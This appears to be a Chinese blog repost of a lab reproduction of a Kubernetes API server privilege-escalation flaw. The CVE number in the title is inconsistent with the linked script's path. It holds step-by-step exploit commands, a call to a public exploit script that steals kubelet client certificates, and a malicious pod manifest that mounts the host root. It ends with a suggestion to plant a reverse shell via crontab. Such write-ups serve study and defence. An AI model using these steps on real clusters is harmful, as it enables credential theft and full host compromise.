K8S CVE-2018-100210权限提升漏洞(中)

admin 2024年2月15日18:39:21评论11 views字数 1644阅读5分28秒阅读模式

利用的过程

  1. 构造错误请求,建立kuberneetes API server代理到kubelet的高权限websocket连接。

  2. 利用高权限websokcet连接,向kubelet发起/runningpods/请求,获取当前存活pod列表。

  3. 在存活的pod例表中找到kubernetes API server的pod名称。

  4. 在利用之前的websokcet连接,向kubelet发起exec请求后,获取kubernetes API server的pod中读取ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key 数据。

  5. 使用kubectl命令行工具,利用上面获取的4个文件,创建挂载了宿主根目录的恶意pod,来实现容器逃逸。

复现过程

正常访问https://ip:6443/api/v1/namespaces/role/pods/test/exec时因为我们设置了Bearer Token验证所以返回403。

K8S CVE-2018-100210权限提升漏洞(中)

这个时候我们需要进行构造加上Bearer Token(在请求头Authorizat加上Bearer 1234567890)利用exec接口的调用至少需要指定标准输入、标准输出或者错误输出的任意一个,所以没有对exec接口加上参数来达到构造错误请求。

K8S CVE-2018-100210权限提升漏洞(中)

K8S CVE-2018-100210权限提升漏洞(中)

使用脚本直接获取到namespaces下的kube-system的kube-apiserver中ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key。

命令:python3 ./exploit.py --target xxx.xxx.xxx.xxx --port 6443 --bearer-token 1234567890 --namespace role --pod test

K8S CVE-2018-100210权限提升漏洞(中)

K8S CVE-2018-100210权限提升漏洞(中)

然后使用获得到ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key,创建恶意的pod。

命令:kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key apply -f attacker.yaml

K8S CVE-2018-100210权限提升漏洞(中)

使用ls命令查看宿主机的磁盘是否挂载到了创建的恶意pod中mnt目录下

 命令:kubectl --server=https://192.3.62.241:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key exec myapp ls /mnt/root

K8S CVE-2018-100210权限提升漏洞(中)

接下来只需要向/mnt/etc/crontab写入反弹shell就能使用拿到宿主机权限以达到提权。

#exploit.py 

https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.pyin/hostname

#attacker.yaml

apiVersion:v1
kind:Pod
metadata:
name:myapp
spec:
containers:
-image:nginx
name:test-container
volumeMounts:
-mountPath:/mnt
name:test-volume
volumes:
-name:test-volume
hostPath:
path:/

原文始发于微信公众号(泾弦安全):K8S CVE-2018-100210权限提升漏洞(中)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日18:39:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   K8S CVE-2018-100210权限提升漏洞(中)https://cn-sec.com/archives/2299421.html

发表评论

匿名网友 填写信息